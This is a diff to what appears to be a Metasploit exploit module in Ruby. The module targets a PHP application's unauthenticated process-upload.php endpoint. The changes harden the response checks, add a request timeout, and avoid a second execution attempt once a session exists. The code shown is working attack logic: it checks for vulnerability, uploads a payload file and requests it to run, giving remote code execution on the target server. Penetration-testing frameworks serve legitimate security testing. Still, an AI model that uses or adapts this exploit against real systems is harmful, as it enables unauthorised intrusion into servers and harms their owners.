@@ -67,20 +67,20 @@ def check
67
67
elsif res . code . to_i == 500
68
68
vprint_error ( "#{ peer } - Unable to write file" )
69
69
return Exploit ::CheckCode ::Safe
70
- elsif res . code . to_i == 200 && res . body =~ /<\? php/
70
+ elsif res . code . to_i == 200 && res . body && res . body =~ /<\? php/
71
71
vprint_error ( "#{ peer } - File process-upload.php is not executable" )
72
72
return Exploit ::CheckCode ::Safe
73
- elsif res . code . to_i == 200 && res . body =~ /sys.config.php/
73
+ elsif res . code . to_i == 200 && res . body && res . body =~ /sys\ . config\ . php/
74
74
vprint_error ( "#{ peer } - Software is misconfigured" )
75
75
return Exploit ::CheckCode ::Safe
76
- elsif res . code . to_i == 200 && res . body =~ /jsonrpc/
76
+ elsif res . code . to_i == 200 && res . body && res . body =~ /jsonrpc/
77
77
# response on revision 118 onwards includes the file name
78
- if res . body =~ /NewFileName/
78
+ if res . body && res . body =~ /NewFileName/
79
79
return Exploit ::CheckCode ::Vulnerable
80
80
# response on revisions 100 to 117 does not include the file name
81
- elsif res . body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
81
+ elsif res . body && res . body =~ /{"jsonrpc" : "2.0", "result" : null, "id" : "id"}/
82
82
return Exploit ::CheckCode ::Appears
83
- elsif res . body =~ /Failed to open output stream/
83
+ elsif res . body && res . body =~ /Failed to open output stream/
84
84
vprint_error ( "#{ peer } - Upload folder is not writable" )
85
85
return Exploit ::CheckCode ::Safe
86
86
else
@@ -113,14 +113,14 @@ def upload
113
113
fail_with ( Failure ::NotFound , "#{ peer } - No process-upload.php found" )
114
114
elsif res . code . to_i == 500
115
115
fail_with ( Failure ::Unknown , "#{ peer } - Unable to write #{ fname } " )
116
- elsif res . code . to_i == 200 && res . body =~ /Failed to open output stream/
116
+ elsif res . code . to_i == 200 && res . body && res . body =~ /Failed to open output stream/
117
117
fail_with ( Failure ::NotVulnerable , "#{ peer } - Upload folder is not writable" )
118
- elsif res . code . to_i == 200 && res . body =~ /<\? php/
118
+ elsif res . code . to_i == 200 && res . body && res . body =~ /<\? php/
119
119
fail_with ( Failure ::NotVulnerable , "#{ peer } - File process-upload.php is not executable" )
120
- elsif res . code . to_i == 200 && res . body =~ /sys.config.php/
120
+ elsif res . code . to_i == 200 && res . body && res . body =~ /sys.config.php/
121
121
fail_with ( Failure ::NotVulnerable , "#{ peer } - Software is misconfigured" )
122
122
# response on revision 118 onwards includes the file name
123
- elsif res . code . to_i == 200 && res . body =~ /NewFileName/
123
+ elsif res . code . to_i == 200 && res . body && res . body =~ /NewFileName/
124
124
print_good ( "#{ peer } - Payload uploaded successfully (#{ fname } )" )
125
125
return fname
126
126
# response on revisions 100 to 117 does not include the file name
@@ -139,10 +139,10 @@ def upload
139
139
def exec ( upload_path )
140
140
print_status ( "#{ peer } - Executing #{ upload_path } ..." )
141
141
res = send_request_raw (
142
- 'uri' => normalize_uri ( target_uri . path , upload_path )
142
+ { 'uri' => normalize_uri ( target_uri . path , upload_path ) } , 5
143
143
)
144
144
if !res
145
- print_error ( "#{ peer } - Request timed out while executing" )
145
+ print_status ( "#{ peer } - Request timed out while executing" )
146
146
elsif res . code . to_i == 404
147
147
vprint_error ( "#{ peer } - Not found: #{ upload_path } " )
148
148
elsif res . code . to_i == 200
@@ -159,6 +159,8 @@ def exploit
159
159
fname = upload
160
160
register_files_for_cleanup ( fname )
161
161
exec ( "upload/files/#{ fname } " ) # default for r-221 onwards
162
- exec ( "upload/temp/#{ fname } " ) # default for r-100 to r-219
162
+ unless session_created?
163
+ exec ( "upload/temp/#{ fname } " ) # default for r-100 to r-219
164
+ end
163
165
end
164
166
end
0 commit comments